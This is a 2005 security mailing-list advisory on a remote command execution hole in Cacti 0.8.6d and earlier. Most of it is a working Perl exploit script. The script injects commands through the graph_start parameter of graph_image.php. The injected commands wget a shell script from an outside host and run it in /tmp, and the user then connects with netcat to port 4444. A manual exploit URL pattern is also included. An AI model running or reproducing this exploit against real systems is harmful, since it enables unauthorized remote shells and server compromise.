[EXPL] Cacti Remote Code Execution Vulnerability (Exploit)

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To: list@securiteam.com
Date: 27 Jun 2005 17:26:09 +0200

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  Cacti Remote Code Execution Vulnerability (Exploit)
------------------------------------------------------------------------

SUMMARY

" <http://www.rrdtool.org/> Cacti's goal is to be a complete front-end to
rrdtool, storing all of the necessary information to create graphs and
populate them with data in a MySQL database."

A remote execution vulnerability was found with Cacti that allow attackers
to execute arbitrary code on Cacti's server.

DETAILS

Vulnerable Systems:
 * Cacti version 0.8.6d and prior

Exploit:
#!/usr/bin/perl
#
# Remote Command Execution Exploit for Cacti <= 0.8.6d
#
# This exploit open a remote shell on the targets that uses Cacti
# TARGET HOST MUST BE A GNU/LINUX SERVER, if not:
# manual exploiting --> http://www.example.com/cacti/graph_image.php?
local_graph_id= [valid_value]&graph_start=%0a[command]%0a
# Patch: download the last version http://www.cacti.net/download_cacti.php
# Discovered and Coded by Alberto Trivero

use LWP::Simple;

print "\n\t===============================\n";
print "\t= Exploit for Cacti <= 0.8.6d =\n";
print "\t= by Alberto Trivero =\n";
print "\t===============================\n\n";

if(@ARGV<2 or !($ARGV[1]=~m/\//)) {
   print "Usage:\nperl $0 [target] [path]\n\nExamples:\nperl $0
www.example.com /cacti/\n";
   exit(0);
}

$page=get("http://".$ARGV[0].$ARGV[1]."graph_view.php?action=list") || die
"[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
$page=~m/local_graph_id=(.*?)&/ || die "[-] Unable to retrieve a value for
local_graph_id";
print "[~] Sending exploiting request, wait for some
seconds/minutes...\n";
get("http://" . $ARGV[0] . $ARGV[1] . "graph_image.php?local_graph_id=$1"
 "&graph_start=%0acd /tmp;wget
http://albythebest.altervista.org/shell.pl;chmod 777 shell.pl;perl
shell.pl%0a");
print "[+] Exploiting request done!\n";
print "[*] Now try on your box: nc -v $ARGV[0] 4444\n";

#EOF

ADDITIONAL INFORMATION

The information has been provided by <mailto:trivero@jumpy.it> Alberto
Trivero.

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